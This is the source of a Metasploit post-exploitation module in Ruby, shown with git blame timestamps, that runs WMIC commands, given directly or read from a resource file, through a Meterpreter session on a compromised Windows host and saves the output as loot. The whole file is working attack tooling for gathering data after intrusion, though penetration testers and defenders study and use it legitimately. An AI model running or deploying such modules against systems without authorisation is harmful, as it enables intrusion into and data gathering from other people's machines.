metasploit-framework/modules/post/windows/gather/wmic_command.rb

71 lines
2.1 KiB
Ruby
Raw Normal View History

##
2013-10-15 19:52:12 +00:00
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
2013-12-14 18:30:43 +00:00
include Msf::Post::Windows::WMIC
2013-09-05 18:41:25 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Run Specified WMIC Command',
'Description' => %q{ This module will execute a given WMIC command options or read
WMIC commands options from a resource file and execute the commands in the
specified Meterpreter session.},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
2013-09-05 18:41:25 +00:00
register_options(
[
OptPath.new('RESOURCE', [false, 'Full path to resource file to read commands from.']),
OptString.new('COMMAND', [false, 'WMIC command options.']),
], self.class)
end
2013-09-05 18:41:25 +00:00
# Run Method for when run command is issued
def run
tmpout = ""
print_status("Running module against #{sysinfo['Computer']}")
if datastore['RESOURCE']
if ::File.exists?(datastore['RESOURCE'])
2013-12-14 20:05:51 +00:00
::File.open(datastore['RESOURCE']).each_line do |cmd|
2013-09-05 18:41:25 +00:00
next if cmd.strip.length < 1
next if cmd[0,1] == "#"
print_status "Running command #{cmd.chomp}"
2013-12-14 20:58:33 +00:00
result = wmic_query(cmd.chomp)
store_wmic_loot(result, cmd)
2013-09-05 18:41:25 +00:00
end
else
raise "Resource File does not exists!"
end
2013-09-05 18:41:25 +00:00
elsif datastore['COMMAND']
cmd = datastore['COMMAND']
2013-12-14 20:58:33 +00:00
result = wmic_query(cmd)
store_wmic_loot(result, cmd)
2013-09-05 18:41:25 +00:00
end
end
2013-12-14 20:58:33 +00:00
def store_wmic_loot(result_text, cmd)
command_log = store_loot("host.command.wmic",
"text/plain",
session,
result_text,
"#{cmd.gsub(/\.|\/|\s/,"_")}.txt",
"Command Output \'wmic #{cmd.chomp}\'")
print_status("Command output saved to: #{command_log}")
end
end